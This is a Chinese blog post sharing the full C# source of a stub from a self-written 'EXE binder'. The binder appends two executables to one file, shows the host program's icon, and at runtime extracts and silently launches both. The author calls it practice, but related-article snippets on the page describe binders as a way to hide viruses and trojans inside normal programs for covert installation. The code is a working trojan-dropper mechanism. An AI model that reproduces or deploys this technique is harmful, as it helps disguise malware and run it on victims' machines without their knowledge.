C# 版 EXE捆绑器
C# 版 EXE捆绑器
本人练习写的,参照网上其它资料.
主要功能
1. 将两个EXE文件合并.
2. 合并后的程序显示宿主程序的图标
3. 合并后的程序执行时,同时执行宿主程序与捆绑的程序.
用C#制作的捆绑器,不能和C写的捆绑机相比,不可能用这样的方法来把XXXXX程序捆绑,毕竟运行这样的程序还要.net framework 支持. 只为练手
源代码下载
就贴一下 合并后文件的代码吧.
合并后文件,主要是分离执行.
public ClassHost()
{
//从自己
string exePath=Path.GetDirectoryName(Application.ExecutablePath);
//临时文件准备
string sourcetempFile=Path.Combine(exePath,"tempFile.data");
if (File.Exists(sourcetempFile))
{
File.Delete(sourcetempFile);
}
File.Copy(Application.ExecutablePath, sourcetempFile);
//sourcetempFile = Path.Combine(exePath, "notepad.exe");
FileStream fileSource = new FileStream(sourcetempFile, FileMode.Open);
fileSource.Position = fileSource.Length;
string bandingFile = Path.Combine(exePath, "bandingFile.exe");
GetFileFromStream(fileSource, bandingFile);
string customerHostFile=Path.Combine(exePath,"customerHostFile.exe");
GetFileFromStream(fileSource, customerHostFile);
fileSource.Close();
//启动两个程序
StartProcess(customerHostFile);
StartProcess(bandingFile);
File.Delete(sourcetempFile);
}
private void GetFileFromStream(FileStream fileSource,string fileName)
{
FileStream targetFile = new FileStream(fileName, FileMode.Create);
byte[] buffer=new byte[8];
fileSource.Seek(-8, SeekOrigin.Current);
fileSource.Read(buffer, 0, 8);
long fileLength = BitConverter.ToInt64(buffer, 0);
buffer = new byte[1024];
fileSource.Seek(-1*(fileLength + 8), SeekOrigin.Current);
int count = Convert.ToInt32(fileLength / buffer.Length);
int mode = Convert.ToInt32(fileLength % buffer.Length);
for (int i = 0; i < count; i++)
{
fileSource.Read(buffer, 0, buffer.Length);
targetFile.Write(buffer, 0, buffer.Length);
}
if (mode !=0)
{
fileSource.Read(buffer, 0, mode);
targetFile.Write(buffer, 0, mode);
}
targetFile.Flush();
targetFile.Close();
fileSource.Seek(-1*fileLength, SeekOrigin.Current);
}
private void StartProcess(string fileName)
{
if (File.Exists(fileName))
{
System.Diagnostics.Process.Start(fileName);
}
}
C# 版 EXE捆绑器相关推荐
- Android 下 APK 捆绑器的实现
Android 下 APK 捆绑器的实现 作者: 海东青 利用捆绑器向正常程序捆绑病毒.木马等恶意程序,以达到隐蔽安装.运行的目的,这 在 Windows 平台下 ...
- 木马捆绑器设计思路和源码
木马捆绑是把一个有界面的正常程序,和一个后门程序捆绑在一起从而制作一个木马. 木马捆绑器一般是三个程序和在一起,程序1:正常程序,程序2:后门程序,程序3: 一个加载.这个加载器的作用就是包容.释放. ...
- Javascript模块加载捆绑器Browserify Webpack和SystemJS用法
Javascript模块加载捆绑器Browserify Webpack和SystemJS用法 转自 http://www.jdon.com/idea/js/javascript-module-load ...
- 文件捆绑器的原理(转)
一.传统的捆绑器 这种原理很简单,也是目前用的最多的一种.就是将B.exe附加到A.exe的末尾.这样当 A.exe被执行的时候,B.exe也跟着执行了.这种捆绑器的代码是满网都是.我最早是从jing ...
- 菜鸟对付最流行的几种捆绑器
最近不知怎么搞的.一夜就冒出N个捆绑机.害得我等菜鸟苦不堪言.今天就各种捆绑器的 原理和检测方法做个简单的总结,以帮助各位识别带毒程序. 一.传统的捆绑器.这种原理很简单,也是目前用的最多的一种.就是 ...
- 编程工具练习,刚写了一个文件捆绑器
目前功能还比较简单 binBot 0.1 文件捆绑器 2007.6.5 下载 捆绑两个 exe 文件,一个我们称之为宿主文件 A, 一个我们称之为附件文件 B. 生成的新文件称之为 C. 捆绑生成的新 ...
- .exe已停止工作_这几天我遇到了前所未有的问题windows10 1809 explorer.exe资源管理器频繁崩溃...
这几天 我遇到了前所未有的问题 windows10 1809 explorer.exe资源管理器频繁崩溃? 这系统这玩意儿 你越折腾他 他越容易出毛病 本想着Windows10 1703用到win10 ...
- win7右键计算机管理参数错误,win7纯净版虚拟磁盘管理器参数错误怎么解决?
最近有用户反映win7纯净版虚拟磁盘管理器参数错误,他是硬盘分区太多,很乱,所以想要自己设置盘符名称,但没想到在修改盘符时出现提示"硬盘参数错误",导致修改盘符失败,这让用户非常苦 ...
- colorpix取色小工具_Python版的取色器
大家好,好久没有更新,希望不要把我忘了啊,前几天工作中遇到一个小困难,我想去取一个图片某个区域的色值需要用一下,但是真的不知用什么工具,然后把图片发给同事,用他电脑上的PS查看了一下,感觉工作中没有一 ...
- c语言编译器uwp版,Win10技巧:注册UWP版文件资源管理器
Win10 RS2预览版中已经加入了UWP版文件资源管理器,只不过现在的版本还是早期形态,功能比较有限.微软本来也没想现在就让这款应用抛头露面,但对于广大粉丝来说,揪出这个潜伏在系统中的"可 ...
最新文章
- python编程到底难不难_养成下面几个编程习惯,学习python并不难!
- 网站静态文件缓存的处理
- VS 远程调试 Azure Web App
- Google 公司的 Java 语言编写规范
- 【小白学习PyTorch教程】十四、迁移学习:微调ResNet实现男人和女人图像分类
- 对MySQL 进行深入学习是非常必要的
- WebLogic Classloader分析工具
- VC++6.0怎么打开工程
- opencv 图像 抠图 算法_图像抠图算法学习 - Shared Sampling for Real-Time Alpha Matting
- paypal创建订单后怎么获得id_5步创建Facebook商店(最新版教程)学习如何在Facebook上卖货...
- 指令重排序所带来的问题及使用volatile关键字解决问题
- 12-----存储过程
- Spark常用算子讲解二
- GoldenGate 1403错误解决方法
- IntelliJ IDEA 设置主题背景
- WinCC数据报表控件
- Rundll32.exe使用方法大全
- openssl rand
- 计算机类博士多少年,弗吉尼亚大学博士几年?
- 计算机中guest用户是灰的,来宾帐户状态不适用呈灰色状